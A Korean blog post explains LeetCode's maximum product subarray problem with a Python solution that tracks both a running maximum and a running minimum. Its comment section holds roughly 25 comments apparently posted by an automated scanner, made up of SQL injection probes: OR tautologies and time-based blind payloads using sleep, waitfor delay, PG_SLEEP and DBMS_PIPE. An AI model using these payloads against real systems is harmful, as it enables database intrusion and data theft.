Algorithm

Maximum Product Subarray

by VICENTE97P4


Dec. 19, 2021, 9:02 p.m.


문제 링크: https://leetcode.com/problems/maximum-product-subarray/


LeetCode는 잘 안 쓰는 편입니다.

그런데 이번에 아는 동생이 재미있는 문제를 줘서 풀어보았습니다.


사실 비슷한 문제인 연속된 수열의 최대 합 구하기는 이미 널리 알려진 문제입니다.


그냥 매번 최대값을 비교하여 갱신해주고, 음수가 되면 다시 0을 넣어서 진행해주고..

DP 문제를 많이 안 풀어봐도 자세히 생각해보면 풀 수 있는 문제입니다.


하지만 곱하기는 경우가 다릅니다.

음수가 곱해지는 경우 값이 확 작아지는데, 나중에는 이 값에 또 음수가 곱해져서 최대값이 될 수도 있습니다.

그렇다고 음수를 모두 저장해서 일일히 비교하기에는 N^2이라 TLE가 나고.. 

결국에는 원사이드하게 진행해서 N이나 NlogN으로 해결해야 하는데 NlogN은 뭐.. 아닌 거 같고..

그럼 어쩌란 거지? 하는 생각이 들기 마련입니다.


실제로 이 문제를 이야기해준 동생은 좌절하여 에듀윌로 가서 공무원을 준비하겠다고 선언하는 지경에 이르렀습니다.

녀셕의 두뇌는 나보다 훨씬 뛰어나고, 대한민국을 이끄는 선두주자가 되기 충분한데.. 

아무튼 각설하고 풀어봅시다!!


class Solution:
    def maxProduct(self, nums: List[int]) -> int:
        ans = nums[0]
        maximum = nums[0]
        minimum = nums[0]
        
        for i in range(1, len(nums)):
            maximum, minimum = max(maximum*nums[i], minimum*nums[i], nums[i]), min(maximum*nums[i], minimum*nums[i], nums[i])
            ans = max(ans, maximum)
            
            
        return ans

답은 간단합니다. 그냥 최소값도 같이 저장해서 들고다니면 됩니다.

배열로 저장할 필요도 없습니다. 그냥 변수에 최대값 하나, 최소값 하나 들고다니면 됩니다.

단, 매 index 비교마다 최대값(ans) 비교는 해줘야 하고, 차라리 끊고 새로 들어온 인덱스부터 시작하는 경우도

고려해줘야 합니다.

왜냐하면 최대, 최소값이 모두 음수일 경우에는 양수로 새로 시작하는게 더 크기 때문입니다.


진짜 아무것도 아닌 문제인데, 생각보다 떠올리기 까다로울 수 있습니다.


이 문제를 못 풀었다 하더라도, 다양한 아이디어를 배워가며 생각의 폭을 넓혀가고, 사색으로 깊이를 깊혀가면 됩니다.

세상 모든 것을 스스로 알아낼 수는 없는 법이니까요..

극복할 수 있는 문제로 좌절하여 총명한 머리를 썩히지 않았으면 합니다.

그 동생도, 그리고 여러분들도..

물론 제가 제일 급하죠. ^^

   26   view  614
Log in and leave a comment
fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

EB8twMdL

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1 OR 2+172-172-1=0+0+0+1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1 OR 3+172-172-1=0+0+0+1

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*if(now()=sysdate(),sleep(15),0)

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1); waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1 waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

RybGq38T'; waitfor delay '0:0:15' --

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1 OR 116=(SELECT 116 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1) OR 666=(SELECT 666 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

-1)) OR 403=(SELECT 403 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

jekkiXT1' OR 570=(SELECT 570 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

kMJhBbqL') OR 511=(SELECT 511 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

bWVNdlCg')) OR 772=(SELECT 772 FROM PG_SLEEP(15))--

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

'"

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

����%2527%2522\'\"

Updated: Feb. 22, 2025, 5:29 p.m.


fnfOzvSR
fnfOzvSR   Feb. 22, 2025, 5:29 p.m.

@@Vgfpw

Updated: Feb. 22, 2025, 5:29 p.m.